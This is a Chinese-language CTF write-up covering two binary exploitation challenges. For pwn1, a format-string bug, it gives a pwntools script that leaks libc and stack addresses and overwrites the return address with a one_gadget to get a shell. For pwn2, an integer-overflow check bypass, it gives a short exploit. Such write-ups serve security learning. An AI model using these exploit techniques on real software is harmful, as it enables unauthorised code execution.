pwn1
格式化字符串漏洞,但跟平时做的还不太一样,这题输入的数据存到了bss段,
任意地址写的时候,不能像平时那样直接写到栈上,解析栈上的数据,这里需要找一个合适的跳板,来修改函数返回地址。
当时没有做出来,看了360官方writeup之后,觉得利用的过程很巧妙,学到了一些新的姿势,对栈上的数据又有了更深刻的认识。
解题思路
- 泄露libc_addr,stack_addr
- 突破输入次数的限制,修改i的值
- 在跳板写上ret_addr所在的栈地址,再修改ret_addr为onegadget
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| from pwn import *
context.log_level = 'debug'
p = process('./pwn1')
gadgets = [0x3a80c,0x3ac5e,0x3a812,0x3a819,0x5f065,0x5f066]
def HL(value):
lis = []
high = value >> 16
low = value & 0xffff
lis.append(low)
lis.append(high)
return lis
def input(payload):
p.recvuntil("2. Exit")
p.send('1')
p.recvuntil("something")
p.sendline(payload)
def exit():
p.recvuntil("2. Exit")
p.send('2')
input("%5$p%12$p%15$p")
p.recvline()
leaked = p.recvline()
bin_base = int(leaked[2:10], 16) - 0x1fb8
stack_addr = int(leaked[12:20], 16)
var_addr = stack_addr - 0x2C + 0x3
target_addr = stack_addr - 0x4
libc_base = int(leaked[22:30],16) - 247 - 0x18540
shell_addr = libc_base + gadgets[1]
bp = bin_base + 0x81c
log.info("binary_base address is %x" % bin_base)
log.info("stack address is %x" % stack_addr)
log.info("libc_base address is %x" % libc_base)
log.info("var address is %x" % var_addr)
log.info("target address is %x" % target_addr)
lis = HL(var_addr) print lis pause()
input("%" + str(lis[0]) + "c%21$hn")
input("%255d%57$hhn")
lis = HL(target_addr)
input("%" + str(lis[0]) + "c%21$hn")
lis = HL(target_addr+2)
input("%" + str(lis[0]) + "d%22$hn")
lis = HL(shell_addr)
input("%" + str(lis[0]) + "c%57$hn")
input("%" + str(lis[1]) + "c%59$hn") exit()
p.interactive()
|
pwn2
整数溢出,需要注意的是数值在比较的时候是用本身的数据,而做运算(如加减)的时候,用的是自身的补码。
此题输入的字符数中不让有”-“符号。
解题思路
- pass1绕过: x1和y1都是有符号整数,令x1为359,y1为0xffffffff就可以绕过判断
- pass2绕过: 利用整数溢出里面的回绕,int类型大小为4个字节,最大存的数为0x00000000ffffffff,若两数相乘为0x0000000100000168 ,产出溢出结果等于0x168
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import *
p = process("./pwn2")
if __name__=='__main__':
p.recvuntil("x:")
p.sendline(str(359))
p.recvuntil("y:")
p.sendline(str(2**32-1))
p.recvuntil("Please input x and y:")
p.sendline(str(8)+" "+str(0x0000000100000168/8))
p.interactive()
|